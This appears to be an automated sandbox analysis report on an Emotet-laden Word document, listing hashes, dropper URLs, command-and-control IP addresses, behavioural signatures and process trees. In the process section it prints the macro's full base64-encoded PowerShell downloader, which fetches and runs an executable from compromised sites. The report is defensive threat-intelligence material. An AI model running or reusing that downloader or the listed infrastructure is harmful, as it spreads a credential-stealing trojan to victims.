emotet | a3067b8e4a9a978df100c40ffc83927994928d08bd48b59b55789e1626a67e7e

General

Target

FILE-2020.doc
Size

175KB
MD5

56ab9ac3130bd66459fda70446ffa3e6
SHA1

ea46947eb8b33a8e135bc8e171027dee5800d5b2
SHA256

a3067b8e4a9a978df100c40ffc83927994928d08bd48b59b55789e1626a67e7e
SHA512

dafa8be16543a0cb8811652646df1a4bf943c437de03619b76d4ac3d3c573aa1e1b19eeb50be950b07f05d53881b51c7b82206aa815f07cc51dfc9731cdd3f7c

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://rikotut.net/rikotut4/vka_spx_tlz/

exe.dropper

http://ronnietucker.co.uk/fcm-dl/94_xeb_m7rfe9yj/

exe.dropper

http://rivcon.net/images/ze1_r8_3jdpf63/

exe.dropper

http://rollingturtle.com/music/isef_vmr_p/

exe.dropper

http://ronsonpainting.com/photogallery/7_26kr_ngbv3sha/

Extracted

Family

emotet

C2

47.146.117.214:80

62.108.54.22:8080

212.51.142.238:8080

190.160.53.126:80

87.106.136.232:8080

74.208.45.104:8080

121.124.124.40:7080

124.45.106.173:443

76.27.179.47:80

210.165.156.91:80

61.19.246.238:443

81.2.235.111:8080

169.239.182.217:8080

181.230.116.163:80

139.130.242.43:80

46.105.131.87:80

139.59.60.244:8080

222.214.218.37:4143

41.60.200.34:80

200.55.243.138:8080

rsa_pubkey.plain

Signatures

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Drops file in System32 directory 1 IoCs

Processes:

174.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\midimap\KBDDV.exe 174.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\midimap\KBDDV.exe	174.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE174.exeKBDDV.exe

pid	process
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
3968	174.exe
416	KBDDV.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2920 WINWORD.EXE
2920 WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

Processes:

powersheLL.exeKBDDV.exe

pid	process
1000	powersheLL.exe
1000	powersheLL.exe
1000	powersheLL.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe
416	KBDDV.exe

Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

8 1000 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

174.exeKBDDV.exe

pid process

3968 174.exe
416 KBDDV.exe

flow	pid	process
8	1000	powersheLL.exe

pid	process
3968	174.exe
416	KBDDV.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

174.exe

description	pid	process	target process
PID 3968 wrote to memory of 416	3968	174.exe	KBDDV.exe
PID 3968 wrote to memory of 416	3968	174.exe	KBDDV.exe
PID 3968 wrote to memory of 416	3968	174.exe	KBDDV.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1000	3844	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1000 powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1000	powersheLL.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/3968-8-0x0000000000580000-0x000000000058C000-memory.dmp	emotet
behavioral2/memory/3968-8-0x0000000000580000-0x000000000058C000-memory.dmp	emotet
behavioral2/memory/416-11-0x00000000020B0000-0x00000000020BC000-memory.dmp	emotet
behavioral2/memory/416-11-0x00000000020B0000-0x00000000020BC000-memory.dmp	emotet

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE-2020.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
PID:2920

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAE8AVwBWAFQAZQBpAHQAPQAnAE8ARABLAEIATgBmAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAcgBJAHQAeQBwAFIATwBgAFQAbwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEkAWgBXAEYAVABjAG4AYQAgAD0AIAAnADEANwA0ACcAOwAkAEUAVQBJAEMARwBwAHQAcAA9ACcAQwBTAEYAWgBHAGMAbwBmACcAOwAkAFYAQwBYAEIATwBoAHEAeAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBaAFcARgBUAGMAbgBhACsAJwAuAGUAeABlACcAOwAkAFoASQBTAFMAVgB4AGMAdAA9ACcARwBNAFEAWQBTAHkAdgB2ACcAOwAkAFIAUgBWAFQAQQBpAHcAZwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgB3AGUAQgBjAEwAaQBFAE4AVAA7ACQARgBKAFEAUwBFAHEAYwBwAD0AJwBoAHQAdABwADoALwAvAHIAaQBrAG8AdAB1AHQALgBuAGUAdAAvAHIAaQBrAG8AdAB1AHQANAAvAHYAawBhAF8AcwBwAHgAXwB0AGwAegAvACoAaAB0AHQAcAA6AC8ALwByAG8AbgBuAGkAZQB0AHUAYwBrAGUAcgAuAGMAbwAuAHUAawAvAGYAYwBtAC0AZABsAC8AOQA0AF8AeABlAGIAXwBtADcAcgBmAGUAOQB5AGoALwAqAGgAdAB0AHAAOgAvAC8AcgBpAHYAYwBvAG4ALgBuAGUAdAAvAGkAbQBhAGcAZQBzAC8AegBlADEAXwByADgAXwAzAGoAZABwAGYANgAzAC8AKgBoAHQAdABwADoALwAvAHIAbwBsAGwAaQBuAGcAdAB1AHIAdABsAGUALgBjAG8AbQAvAG0AdQBzAGkAYwAvAGkAcwBlAGYAXwB2AG0AcgBfAHAALwAqAGgAdAB0AHAAOgAvAC8AcgBvAG4AcwBvAG4AcABhAGkAbgB0AGkAbgBnAC4AYwBvAG0ALwBwAGgAbwB0AG8AZwBhAGwAbABlAHIAeQAvADcAXwAyADYAawByAF8AbgBnAGIAdgAzAHMAaABhAC8AJwAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAE0AUABHAFoAcAByAHEAPQAnAEkARABEAFoAWgBhAGEAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQASQBNAEkATgBHAHQAZgB1ACAAaQBuACAAJABGAEoAUQBTAEUAcQBjAHAAKQB7AHQAcgB5AHsAJABSAFIAVgBUAEEAaQB3AGcALgAiAEQAbwB3AE4AbABgAE8AQQBEAGAARgBpAGwAZQAiACgAJABJAE0ASQBOAEcAdABmAHUALAAgACQAVgBDAFgAQgBPAGgAcQB4ACkAOwAkAFoATABaAEwAQQBuAHoAbgA9ACcAQgBFAEEASABFAGsAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAVgBDAFgAQgBPAGgAcQB4ACkALgAiAGwARQBOAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQANgAzADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAGAAQQBgAFQARQAiACgAJABWAEMAWABCAE8AaABxAHgAKQA7ACQAUwBJAEQAQgBFAGcAdABwAD0AJwBIAE0AUABYAFEAYwB2AGoAJwA7AGIAcgBlAGEAawA7ACQAVwBNAEMASABNAG0AcABtAD0AJwBCAFoAUwBTAFQAaABrAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBLAFUARQBHAHgAbABmAD0AJwBMAEcASwBFAEkAYgBqAGoAJwA=
1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:1000

C:\Users\Admin\174.exe
C:\Users\Admin\174.exe
1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3968

C:\Windows\SysWOW64\midimap\KBDDV.exe
"C:\Windows\SysWOW64\midimap\KBDDV.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:416

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\174.exe

Download Submit
C:\Users\Admin\174.exe

Download Submit
C:\Windows\SysWOW64\midimap\KBDDV.exe

Download Submit
memory/416-9-0x0000000000000000-mapping.dmp

Download
memory/416-11-0x00000000020B0000-0x00000000020BC000-memory.dmp

Filesize
48KB

Download
memory/3968-8-0x0000000000580000-0x000000000058C000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads